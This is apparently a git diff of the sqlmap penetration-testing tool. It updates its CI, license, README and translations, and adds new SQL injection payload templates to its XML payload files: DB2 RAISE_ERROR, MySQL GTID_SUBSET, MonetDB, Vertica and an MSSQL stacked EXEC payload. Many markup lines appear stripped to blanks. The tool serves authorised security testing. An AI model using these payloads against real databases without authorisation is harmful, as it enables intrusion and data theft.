diff --git a/.travis.yml b/.travis.yml
index 17dbe469845..158eab7607d 100644
--- a/.travis.yml
+++ b/.travis.yml
@@ -9,9 +9,8 @@ jobs:
dist: trusty
- python: 3.6
dist: trusty
- - python: 3.8
- dist: xenial
-sudo: false
+ - python: nightly
+ dist: bionic
git:
depth: 1
script:
diff --git a/LICENSE b/LICENSE
index 3fd5aa775d2..a6c9b58d467 100644
--- a/LICENSE
+++ b/LICENSE
@@ -1,7 +1,7 @@
COPYING -- Describes the terms under which sqlmap is distributed. A copy
of the GNU General Public License (GPL) is appended to this file.
-sqlmap is (C) 2006-2020 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.
+sqlmap is (C) 2006-2021 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.
This program is free software; you may redistribute and/or modify it under
the terms of the GNU General Public License as published by the Free
diff --git a/README.md b/README.md
index 1a01b80c7a6..3bca18a0a31 100644
--- a/README.md
+++ b/README.md
@@ -4,7 +4,7 @@
sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches including database fingerprinting, over data fetching from the database, accessing the underlying file system, and executing commands on the operating system via out-of-band connections.
-**The sqlmap project is currently searching for sponsor(s).**
+**sqlmap is sponsored by [SpyderSec](https://spydersec.com/).**
Screenshots
----
@@ -64,6 +64,7 @@ Translations
* [Italian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-it-IT.md)
* [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md)
* [Korean](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ko-KR.md)
+* [Persian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fa-IR.md)
* [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md)
* [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md)
* [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RUS.md)
diff --git a/data/html/index.html b/data/html/index.html
index a7f53972f5d..a2d4dfc4479 100644
--- a/data/html/index.html
+++ b/data/html/index.html
@@ -1,150 +1,151 @@
-
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
diff --git a/data/xml/payloads/boolean_blind.xml b/data/xml/payloads/boolean_blind.xml
index efb9e5cdcbc..67cf9940d10 100644
--- a/data/xml/payloads/boolean_blind.xml
+++ b/data/xml/payloads/boolean_blind.xml
@@ -824,7 +824,6 @@ Tag: Microsoft SQL ServerSybase
- Windows
@@ -845,7 +844,6 @@ Tag: Microsoft SQL ServerSybase
- Windows
@@ -1193,7 +1191,6 @@ Tag: Microsoft SQL ServerSybase
- Windows
@@ -1214,7 +1211,6 @@ Tag: Microsoft SQL ServerSybase
- Windows
@@ -1332,6 +1328,44 @@ Tag:
+
+ IBM DB2 boolean-based blind - ORDER BY clause
+ 1
+ 4
+ 1
+ 3
+ 1
+ ,(SELECT CASE WHEN [INFERENCE] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)
+
+ ,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)
+
+
+ ,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)
+
+
+ IBM DB2
+
+
+
+
+ IBM DB2 boolean-based blind - ORDER BY clause (original value)
+ 1
+ 5
+ 1
+ 3
+ 1
+ ,(SELECT CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)
+
+ ,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)
+
+
+ ,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)
+
+
+ IBM DB2
+
+
+
HAVING boolean-based blind - WHERE, GROUP BY clause
@@ -1452,7 +1486,6 @@ Tag: Microsoft SQL ServerSybase
- Windows
@@ -1474,7 +1507,6 @@ Tag: Microsoft SQL ServerSybase
- Windows
diff --git a/data/xml/payloads/error_based.xml b/data/xml/payloads/error_based.xml
index 410cada6941..f9505522f38 100644
--- a/data/xml/payloads/error_based.xml
+++ b/data/xml/payloads/error_based.xml
@@ -91,6 +91,46 @@
+
+ MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
+ 2
+ 4
+ 1
+ 1,2,3,8,9
+ 1
+ AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])
+
+ AND GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.6
+
+
+
+
+ MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)
+ 2
+ 4
+ 3
+ 1,8,9
+ 1
+ OR GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])
+
+ OR GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.6
+
+
+
MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)2
@@ -135,7 +175,7 @@
MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)2
- 1
+ 211,2,3,8,91
@@ -159,7 +199,7 @@
MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)2
- 1
+ 231,2,3,8,9
@@ -184,7 +224,7 @@
MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)2
- 2
+ 111,2,3,8,91
@@ -208,7 +248,7 @@
MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)2
- 2
+ 131,2,3,8,9
@@ -282,7 +322,7 @@
MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)2
- 2
+ 311,2,3,8,91
@@ -307,7 +347,7 @@
MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)2
- 2
+ 331,8,91
@@ -332,7 +372,7 @@
MySQL OR error-based - WHERE or HAVING clause (FLOOR)2
- 3
+ 431,8,92
@@ -404,7 +444,6 @@
Microsoft SQL ServerSybase
- Windows
@@ -425,7 +464,6 @@
Microsoft SQL ServerSybase
- Windows
@@ -446,7 +484,6 @@
Microsoft SQL ServerSybase
- Windows
@@ -467,7 +504,6 @@
Microsoft SQL ServerSybase
- Windows
@@ -488,7 +524,6 @@
Microsoft SQL ServerSybase
- Windows
@@ -509,7 +544,6 @@
Microsoft SQL ServerSybase
- Windows
@@ -672,7 +706,7 @@
231
- 1,9
+ 11AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')
@@ -689,9 +723,9 @@
Firebird OR error-based - WHERE or HAVING clause2
- 3
+ 43
- 1,9
+ 12OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')
@@ -704,6 +738,121 @@
Firebird
+
+
+ MonetDB AND error-based - WHERE or HAVING clause
+ 2
+ 3
+ 1
+ 1
+ 1
+ AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')
+
+ AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]')
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MonetDB
+
+
+
+
+ MonetDB OR error-based - WHERE or HAVING clause
+ 2
+ 4
+ 3
+ 1
+ 2
+ OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')
+
+ OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]')
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MonetDB
+
+
+
+
+ Vertica AND error-based - WHERE or HAVING clause
+ 2
+ 3
+ 1
+ 1
+ 1
+ AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)
+
+ AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC)
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ Vertica
+
+
+
+
+ Vertica OR error-based - WHERE or HAVING clause
+ 2
+ 4
+ 3
+ 1
+ 2
+ OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)
+
+ OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC)
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ Vertica
+
+
+
+
+ IBM DB2 AND error-based - WHERE or HAVING clause
+ 2
+ 3
+ 1
+ 1
+ 1
+ AND [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')
+
+ AND [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ IBM DB2
+
+
+
+
+ IBM DB2 OR error-based - WHERE or HAVING clause
+ 2
+ 4
+ 1
+ 1
+ 1
+ OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')
+
+ OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ IBM DB2
+
+
+
@@ -1029,6 +1215,26 @@
+
+ MySQL >= 5.6 error-based - ORDER BY, GROUP BY clause (GTID_SUBSET)
+ 2
+ 5
+ 1
+ 2,3
+ 1
+ ,GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])
+
+ ,GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ MySQL
+ >= 5.6
+
+
+
MySQL >= 5.7.8 error-based - ORDER BY, GROUP BY clause (JSON_KEYS)2
@@ -1052,7 +1258,7 @@
MySQL >= 5.0 error-based - ORDER BY, GROUP BY clause (FLOOR)2
- 3
+ 412,31
@@ -1072,7 +1278,7 @@
MySQL >= 5.1 error-based - ORDER BY, GROUP BY clause (EXTRACTVALUE)2
- 4
+ 312,31
@@ -1112,7 +1318,7 @@
MySQL >= 4.1 error-based - ORDER BY, GROUP BY clause (FLOOR)2
- 2
+ 312,31
@@ -1129,7 +1335,6 @@
-
PostgreSQL error-based - ORDER BY, GROUP BY clause2
@@ -1185,7 +1390,6 @@
Microsoft SQL ServerSybase
- Windows
@@ -1213,7 +1417,7 @@
251
- 2,3
+ 31,(SELECT [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'))
@@ -1226,9 +1430,51 @@
Firebird
+
+
+ IBM DB2 error-based - ORDER BY clause
+ 2
+ 5
+ 1
+ 3
+ 1
+ ,RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')
+
+ ,RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ IBM DB2
+
+
+
+
+
+ Microsoft SQL Server/Sybase error-based - Stacking (EXEC)
+ 2
+ 2
+ 1
+ 1-8
+ 1
+ ;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]');EXEC @[RANDSTR]
+
+ ;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]');EXEC @[RANDSTR]
+ --
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ Microsoft SQL Server
+ Sybase
+
+
+
diff --git a/data/xml/payloads/inline_query.xml b/data/xml/payloads/inline_query.xml
index b49d538346b..a05b1c84eec 100644
--- a/data/xml/payloads/inline_query.xml
+++ b/data/xml/payloads/inline_query.xml
@@ -3,19 +3,31 @@
- MySQL inline queries
+ Generic inline queries3111,2,3,83
+ (SELECT CONCAT(CONCAT('[DELIMITER_START]',([QUERY])),'[DELIMITER_STOP]'))
+
+ (SELECT CONCAT(CONCAT('[DELIMITER_START]',(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]'))
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+
+
+ MySQL inline queries
+ 3
+ 2
+ 1
+ 1,2,3,8
+ 3(SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))
-
- (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))
+ (SELECT CONCAT('[DELIMITER_START]',(ELT([RANDNUM]=[RANDNUM],1)),'[DELIMITER_STOP]'))[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
@@ -28,7 +40,7 @@
PostgreSQL inline queries3
- 1
+ 211,2,3,83
@@ -47,13 +59,13 @@
Microsoft SQL Server/Sybase inline queries3
- 1
+ 211,2,3,83(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')
- (SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')
+ (SELECT '[DELIMITER_START]'+(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)+'[DELIMITER_STOP]')[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
@@ -61,7 +73,6 @@
Microsoft SQL ServerSybase
- Windows
@@ -74,7 +85,8 @@
3(SELECT ('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') FROM DUAL)
- (SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]' FROM DUAL)
+
+ (SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN TO_NUMBER(1) ELSE TO_NUMBER(0) END)||'[DELIMITER_STOP]' FROM DUAL)[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
@@ -93,7 +105,7 @@
3SELECT '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'
- SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))||'[DELIMITER_STOP]'
+ SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]'[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
diff --git a/data/xml/payloads/stacked_queries.xml b/data/xml/payloads/stacked_queries.xml
index 4b70384beb9..b7df99fdaec 100644
--- a/data/xml/payloads/stacked_queries.xml
+++ b/data/xml/payloads/stacked_queries.xml
@@ -264,7 +264,6 @@
Microsoft SQL ServerSybase
- Windows
@@ -286,7 +285,6 @@
Microsoft SQL ServerSybase
- Windows
@@ -307,7 +305,6 @@
Microsoft SQL ServerSybase
- Windows
@@ -328,7 +325,6 @@
Microsoft SQL ServerSybase
- Windows
diff --git a/data/xml/payloads/time_blind.xml b/data/xml/payloads/time_blind.xml
index d9cdb6c8cf3..033d9fd37fc 100644
--- a/data/xml/payloads/time_blind.xml
+++ b/data/xml/payloads/time_blind.xml
@@ -588,7 +588,6 @@
Microsoft SQL ServerSybase
- Windows
@@ -610,7 +609,6 @@
Microsoft SQL ServerSybase
- Windows
@@ -631,7 +629,6 @@
Microsoft SQL ServerSybase
- Windows
@@ -652,7 +649,6 @@
Microsoft SQL ServerSybase
- Windows
@@ -674,7 +670,6 @@
Microsoft SQL ServerSybase
- Windows
@@ -696,7 +691,6 @@
Microsoft SQL ServerSybase
- Windows
@@ -1638,7 +1632,6 @@
Microsoft SQL ServerSybase
- Windows
@@ -1936,7 +1929,6 @@
Microsoft SQL ServerSybase
- Windows
diff --git a/data/xml/queries.xml b/data/xml/queries.xml
index d2ac995be48..b61bdb7c654 100644
--- a/data/xml/queries.xml
+++ b/data/xml/queries.xml
@@ -1,7 +1,6 @@
-
@@ -30,8 +29,8 @@
-
-
+
+
@@ -45,7 +44,7 @@
-
+
@@ -78,11 +77,11 @@
-
-
+
-
+
+
@@ -108,7 +107,7 @@
-
+
@@ -124,36 +123,35 @@
-
-
+
+
-
+
-
-
+
+
-
-
+
+
-
-
+
+
-
@@ -200,11 +198,11 @@
-
-
+
+
-
+
@@ -225,7 +223,6 @@
-
@@ -304,8 +301,8 @@
-
-
+
+
@@ -322,7 +319,6 @@
-
@@ -361,7 +357,7 @@
-
+
@@ -376,7 +372,6 @@
-
@@ -421,7 +416,6 @@
-
@@ -451,8 +445,8 @@
-
-
+
+
@@ -462,9 +456,9 @@
-
-
-
+
+
+
@@ -472,18 +466,15 @@
-
-
+
+
-
+
+
+
+
-
-
-
-
-
-
@@ -499,12 +490,12 @@
-
+
-
-
+
+
@@ -531,12 +522,15 @@
-
+
+
+
+
+
-
@@ -606,7 +600,6 @@
-
@@ -631,7 +624,7 @@
-
+
@@ -679,7 +672,6 @@
-
@@ -696,7 +688,8 @@
-
+
+
@@ -704,7 +697,7 @@
-
+
@@ -763,7 +756,7 @@
-
+
@@ -813,9 +806,6 @@
-
-
-
@@ -832,7 +822,8 @@
-
+
+
@@ -876,4 +867,763 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ />
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md
index 95eb8678ecf..baafaeed098 100644
--- a/doc/CHANGELOG.md
+++ b/doc/CHANGELOG.md
@@ -1,14 +1,22 @@
+# Version 1.4 (2020-01-01)
+
+* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.3...1.4)
+* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/5?closed=1)
+
# Version 1.3 (2019-01-05)
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.2...1.3)
+* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/4?closed=1)
# Version 1.2 (2018-01-08)
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.1...1.2)
+* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/3?closed=1)
# Version 1.1 (2017-04-07)
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.0...1.1)
+* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/2?closed=1)
# Version 1.0 (2016-02-27)
diff --git a/doc/THANKS.md b/doc/THANKS.md
index 65fbc2fcfa7..0fe779b7682 100644
--- a/doc/THANKS.md
+++ b/doc/THANKS.md
@@ -112,6 +112,9 @@ Alessio Dalla Piazza,
Sherif El-Deeb,
* for reporting a minor bug
+Thomas Etrillard,
+* for contributing the IBM DB2 error-based payloads (RAISE_ERROR)
+
Stefano Di Paola,
* for suggesting good features
@@ -317,6 +320,9 @@ Michael Majchrowicz,
Vinícius Henrique Marangoni,
* for contributing a Portuguese translation of README.md
+Francesco Marano,
+* for contributing the Microsoft SQL Server/Sybase error-based - Stacking (EXEC) payload
+
Ahmad Maulana,
* for contributing a tamper script halfversionedmorekeywords.py
@@ -486,6 +492,9 @@ Marek Sarvas,
Philippe A. R. Schaeffer,
* for reporting a minor bug
+Henri Salo
+* for a donation
+
Mohd Zamiri Sanin,
* for reporting a minor bug
diff --git a/doc/THIRD-PARTY.md b/doc/THIRD-PARTY.md
index eca318269ac..04d558f613c 100644
--- a/doc/THIRD-PARTY.md
+++ b/doc/THIRD-PARTY.md
@@ -277,7 +277,7 @@ be bound by the terms and conditions of this License Agreement.
* The `bottle` web framework library located under `thirdparty/bottle/`.
Copyright (C) 2012, Marcel Hellkamp.
* The `identYwaf` library located under `thirdparty/identywaf/`.
- Copyright (C) 2019, Miroslav Stampar.
+ Copyright (C) 2019-2020, Miroslav Stampar.
* The `ordereddict` library located under `thirdparty/odict/`.
Copyright (C) 2009, Raymond Hettinger.
* The `six` Python 2 and 3 compatibility library located under `thirdparty/six/`.
diff --git a/doc/translations/README-fa-IR.md b/doc/translations/README-fa-IR.md
new file mode 100644
index 00000000000..df787f72dc7
--- /dev/null
+++ b/doc/translations/README-fa-IR.md
@@ -0,0 +1,84 @@
+# sqlmap 
+
+[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
+
+
+
+
+
+
+برنامه `sqlmap`، برنامهی منبع باز هست که برای تست نفوذ پذیزی دربرابر حملههای احتمالی `sql injection` (جلوگیری از لو رفتن پایگاه داده) جلو گیری میکند. این برنامه مجهز به مکانیزیم تشخیص قدرتمندی میباشد. همچنین داری طیف گستردهای از اسکریپت ها میباشد که برای متخصص تست نفوذ کار کردن با بانک اطلاعاتی را راحتر میکند. از جمع اوری اطلاعات درباره بانک داده تا دسترسی به داده های سیستم و اجرا دستورات از طریق `via out-of-band` درسیستم عامل را امکان پذیر میکند.
+
+
+عکس
+----
+
+
+
+
